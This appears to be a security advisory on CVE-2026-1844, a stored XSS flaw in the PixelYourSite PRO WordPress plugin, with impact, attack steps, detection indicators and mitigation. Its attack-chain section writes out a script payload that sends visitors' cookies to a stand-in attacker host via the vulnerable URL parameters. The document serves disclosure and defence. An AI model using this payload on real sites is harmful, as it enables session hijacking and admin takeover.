CVE-2026-1844: 
WordPress vulnerability analysis and mitigation

CVE-2026-1844 is a Stored Cross-Site Scripting (XSS) vulnerability in the PixelYourSite PRO plugin for WordPress, affecting all versions up to and including 12.4.0.2. The flaw exists in the pysTrafficSource and pys_landing_page parameters due to insufficient input sanitization and output escaping, enabling unauthenticated attackers to inject persistent malicious scripts into pages. It was published on February 13, 2026, and carries a CVSS v3.1 base score of 7.2 (High) (Red Hat CVE, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The pysTrafficSource and pys_landing_page parameters, which are used by the plugin to track visitor traffic sources and landing pages, fail to properly sanitize user-supplied input before storing it and fail to escape it before rendering it in HTML output. Because no authentication is required to supply these parameters (they are typically set via URL query strings or cookies during a visit), any unauthenticated visitor can craft a request that stores a malicious script payload, which then executes in the browsers of subsequent users who view the affected page (Red Hat CVE, Wordfence).

Successful exploitation allows unauthenticated attackers to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of any user who visits the compromised page. This can result in session hijacking, credential harvesting, redirection to malicious sites, or distribution of malware to site visitors. The scope is marked as Changed in the CVSS scoring, indicating that the impact extends beyond the vulnerable component to affect end users' browsers (Red Hat CVE).

A proof-of-concept exploit is publicly available on GitHub at https://github.com/adamshaikhma/CVE-2026-1844, added on February 15, 2026 (Feedly). No authentication or user interaction is required to exploit this vulnerability, lowering the barrier for attackers significantly. The EPSS score is approximately 0.024% (0.000240), suggesting a currently low but non-zero probability of exploitation in the wild. There is no confirmed evidence of active in-the-wild exploitation or CISA KEV catalog listing at this time (Wordfence).

1. Reconnaissance: Identify WordPress sites running the PixelYourSite PRO plugin version 12.4.0.2 or earlier using tools like WPScan, Shodan, or by inspecting page source for plugin fingerprints.
2. Craft malicious payload: Prepare a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the vulnerable parameters.
3. Deliver payload via vulnerable parameters: Send an HTTP request to the target WordPress site with the malicious payload embedded in the pysTrafficSource or pys_landing_page URL parameters (e.g., https://target.com/?pysTrafficSource=<script>...</script> or via a crafted referrer/cookie value that the plugin reads into these fields).
4. Payload stored: The plugin stores the unsanitized input in the WordPress database without proper escaping.
5. Trigger execution: When any authenticated or unauthenticated user visits a page where the plugin renders the stored value, the injected script executes in their browser.
6. Achieve objective: The attacker harvests session cookies, credentials, or performs other malicious actions (e.g., admin account takeover if an administrator visits the page) (GitHub PoC, Wordfence).

• Network: Unusual HTTP requests containing script tags or encoded JavaScript in pysTrafficSource or pys_landing_page URL parameters; outbound requests from user browsers to unknown external domains shortly after visiting WordPress pages.
• Logs: WordPress access logs showing requests with suspicious query strings containing <script>, javascript:, or URL-encoded equivalents in pysTrafficSource or pys_landing_page parameters.
• Database: Unexpected JavaScript or HTML script tags stored in WordPress database fields associated with the PixelYourSite PRO plugin's traffic source or landing page tracking data.
• Browser/Client: Users reporting unexpected redirects, pop-ups, or authentication prompts when visiting the WordPress site; session cookies being invalidated unexpectedly.

Update the PixelYourSite PRO plugin to a version newer than 12.4.0.2 as soon as a patched release becomes available from the vendor. If an update is not immediately available, consider temporarily deactivating or removing the plugin to eliminate the attack surface. Implement a Web Application Firewall (WAF) with rules to detect and block XSS payloads in the pysTrafficSource and pys_landing_page parameters. Review WordPress security logs and database entries for signs of prior exploitation (Red Hat CVE, Wordfence).

Wordfence included CVE-2026-1844 in their weekly WordPress vulnerability report for February 9–15, 2026, highlighting it as a notable unauthenticated stored XSS issue (Wordfence). RedPacket Security also published an alert and shared it on Mastodon, contributing to broader community awareness. No significant vendor statement from PixelYourSite has been publicly noted in available sources.